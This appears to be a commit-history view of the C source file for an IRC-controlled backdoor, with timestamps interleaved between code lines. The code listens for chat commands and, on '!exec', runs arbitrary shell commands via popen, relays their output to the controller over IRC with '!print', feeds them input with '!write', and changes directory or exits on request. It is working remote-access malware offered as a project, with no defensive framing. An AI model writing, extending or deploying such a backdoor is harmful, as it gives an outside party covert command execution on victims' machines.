backdoor/src/backdoor.c

66 lines
1.1 KiB
C
Raw Normal View History

2024-04-21 16:39:15 +00:00
#include <unistd.h>
#include "backdoor.h"
#include "irc.h"
static FILE *fp;
void backdoor_offline(void) {
sleep(60);
}
void send_info(IRCC_client *client, const char *buf) {
char *nick = strdup(client->irc_nick);
if (nick == NULL)
return;
IRCC_send(client, nick, buf);
free(nick);
}
void parse_cmd(IRCC_client *client) {
if (!strncmp(client->irc_msg, "!exit", 5)) {
IRCC_close(client);
exit(0);
}
else if (!strncmp(client->irc_msg, "!cd", 3))
chdir(client->irc_msg + 4);
/* Shell */
else if (!strncmp(client->irc_msg, "!exec", 5)) {
if (fp != NULL)
pclose(fp);
2024-04-28 06:38:20 +00:00
fp = popen(client->irc_msg + 5, "rw");
2024-04-21 16:39:15 +00:00
}
2024-04-27 09:36:45 +00:00
else if (!strncmp(client->irc_msg, "!print", 6)) {
2024-04-21 16:39:15 +00:00
if (fp == NULL)
return;
char buf[COMMON_BUF_SIZE + 1];
if (fgets(buf, sizeof(buf), fp) == NULL) {
pclose(fp);
fp = NULL;
2024-04-28 06:38:20 +00:00
return;
2024-04-21 16:39:15 +00:00
}
send_info(client, buf);
}
2024-04-27 09:36:45 +00:00
else if (!strncmp(client->irc_msg, "!write", 6)) {
2024-04-21 16:39:15 +00:00
if (fp == NULL)
return;
fputs(client->irc_msg + 5, fp);
}
2024-04-27 09:36:45 +00:00
else if (!strncmp(client->irc_msg, "!close", 6)) {
2024-04-21 16:39:15 +00:00
if (fp == NULL)
return;
pclose(fp);
fp = NULL;
}
}